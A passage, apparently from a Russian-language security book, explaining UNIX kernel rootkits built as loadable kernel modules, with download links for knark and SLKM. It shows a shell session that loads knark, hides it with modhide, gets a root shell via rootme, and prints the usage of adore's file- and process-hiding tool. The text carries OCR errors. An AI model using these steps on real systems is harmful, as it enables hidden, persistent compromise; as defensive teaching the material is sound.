В предыдущих разделах были рассмотрены традиционные "наборы отмычек", с помощью которых можно модифицировать определенные файлы взломанной системы, а затем разместить в ней программы типа "троянский конь". В настоящее время такие средства несколько устарели. Современные и гораздо более разрушительные варианты "наборов отмычек" могут функционировать на уровне самого ядра операционной системы. Такие "наборы отмычек" позволяют модифицировать выполняющееся ядро UNIX и, таким образом, вводить в заблуждение все системные программы без модификации самих программ.
Обычно загружаемый модуль ядра (Loadable Kernel Module — LKM) служит для обеспечения дополнительной функциональности выполняющегося ядра без встраивания этих функций непосредственно в само ядро. Подобная возможность позволяет загружать и выгружать из оперативной памяти различные модули по необходимости, что, в свою очередь уменьшает размер выполняющейся части ядра. Таким образом, компактное ядро небольшого размера находится в оперативной памяти постоянно, а его возможности расширяются модулями, которые загружаются при необходимости. Это преимущество поддерживается многими версиями системы UNIX, в том числе Linux, FreeBSD и Solaris.
Описанным механизмом может воспользоваться злоумышленник, в результате чего он сможет полностью манипулировать системой и всеми запущенными в ней процессами. Вместо того чтобы использовать модуль LKM для загрузки драйверов устройств, например сетевого адаптера, этот модуль может применяться для перехвата системных вызовов и их модификации с целью изменения реакции системы на определенные команды. Двумя наиболее популярными "наборами отмычек" является knark (для Linux) и SLKM (Solaris Loadable Kernel Module) компании ТHС (http://www.infowar.co.uk/thc/files/thc/ slkm-1.0. tar.gz). Мы подробно рассмотрим пакет knark (http: //packetstorm. securify.com/UNIX/penetration/rootkits/knark-0.59.tar.gz) ниже, а дополнительную информацию о "потайных ходах" ядра системы Solaris можно найти по адресу http://www.infowar.co.uk/the/files/the/slkm-1.0.html/.
Пакет knark разработан хакером Кридом (Creed) и представляет собой "набор отмычек" для модификации ядра системы Linux 2.2.x. Самым важным компонентом этого пакета является модуль ядра knark. о. Для того чтобы загрузить этот модуль, нужно воспользоваться утилитой загрузки модуля ядра insmod.
[shadow]# /sbin/insmod knark.о
[shadow]# /sbin/lsmod
Module Size Used by
knark 6936 0 (unused)
nls_iso8859-l 2240 1 (autoclean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)
[shadow]#/sbin/insmod modhide.o
modhide.o: init_module: Device or resource busy
[shadow]# /sbin/lsmod
Module Size Used by
nls_iso8859-I 2240 1 (autociean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)
[shadow]$ rootme /bin/sh
rootme.с by Creed @ #hack.se 1999 creed@sekure.net
Do you feel lucky today, haxOr?
bash#
[shadow]$ ava
Использование: ./ava {h,u,r,i,v,0}
[имя-файла, PID или dummy (для
параметра 'U')]
h скрыть файл
u отобразить файл
r выполнить с привилегиями root
U удалить adore
i сделать PID скрытым
v сделать PID видимым